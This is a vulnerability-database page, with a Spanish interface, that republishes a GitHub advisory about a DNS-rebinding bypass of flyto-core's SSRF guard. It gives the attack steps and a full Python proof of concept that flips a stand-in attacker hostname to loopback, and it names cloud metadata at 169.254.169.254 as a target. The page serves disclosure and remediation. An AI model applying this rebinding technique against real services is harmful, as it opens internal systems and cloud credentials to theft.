llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-6PM8-6F34-9V3G

Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -132 d de la divulgación
Exposición1 dDesde la divulgación, 19 nov 2026, 7:11 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.26.8
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
11 jul 26
18 nov 26
20 nov 26
21 nov 26
11 jul 26
13 ago 26
15 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.26.8 flyto-core · -132 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-6PM8-6F34-9V3G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

[MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning

  • CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU).
  • CVSS v3.1: `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).
  • Affected component: `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolution at `getaddrinfo` ~L512, `is_private_ip` check ~L515) and every consumer: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()` — i.e. `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.
  • Relationship: Incomplete hardening of the SSRF-guard family (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.

## Root cause
`validate_url_ssrf()` resolves the hostname with `socket.getaddrinfo()` and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` then `session.request(method, url, ...)`) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's `socket.getaddrinfo`, so the two lookups are genuinely separate — one flip is sufficient.

## Reachability
1. Attacker controls DNS for `rebind.attacker.test` (TTL 0), and drives any guarded HTTP module with `url=http://rebind.attacker.test/` (recipe / MCP `execute_module`).
2. Guard: `getaddrinfo` → public IP → `is_private_ip` false → URL allowed.
3. Outbound request: aiohttp re-resolves `rebind.attacker.test` → attacker now answers `127.0.0.1` / `169.254.169.254` → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.

## Executable PoC (benign, local; deterministic)
The attacker's TTL=0 flip is modelled by making `socket.getaddrinfo` return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.

# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS;  connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/")     # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080))   # lands on 127.0.0.1 sentinel

Observed output:

[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/  (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)

## Adversarial re-read
- Is the getaddrinfo monkeypatch cheating? No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: `validate_url_with_env_config(url)` resolves once, then `session.request(url)` resolves again with no pin.
- Does aiohttp's DNS cache prevent it? No — the guard's `socket.getaddrinfo` and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.
- Does redirect revalidation (GHSA-c9hr) block it? No — the first hop rebinds before any redirect.
- Multiple A records? The guard loops all `getaddrinfo` results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.
- Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).

## Remediation
Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom `resolver`/`TCPConnector` (or set the `Host` header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in `guarded_aiohttp_request`. Alternatively, use a resolver wrapper that validates inside the connect path.

## Confidence
High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.

Proof-of-Concept source (`poc_dns_rebinding.py`)

"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError

# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
    try:
        srv.bind(("127.0.0.1", _p)); break
    except OSError:
        continue
else:
    raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
    try:
        c,_ = srv.accept(); hit["internal"] = True; c.close()
    except OSError:
        pass
threading.Thread(target=accept_once, daemon=True).start()

HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW

# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
    if host == HOST:
        calls["n"] += 1
        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
    return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo

# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
    validate_url_ssrf(f"http://{HOST}:{PORT}/")
    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/  (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)

# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
    s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
    print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
      if hit["internal"] else "NOT CONFIRMED")
srv.close()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
flyto-core< 2.26.8
2.26.8
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.8 -132 d 2.41.0 no afectada
Versiones corregidas2.26.8
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/flytohub/flyto-core/security/advisories/GHSA-6pm8-6f34-9v3g
Otrahttps://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a
Otrahttps://github.com/flytohub/flyto-core
Otrahttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.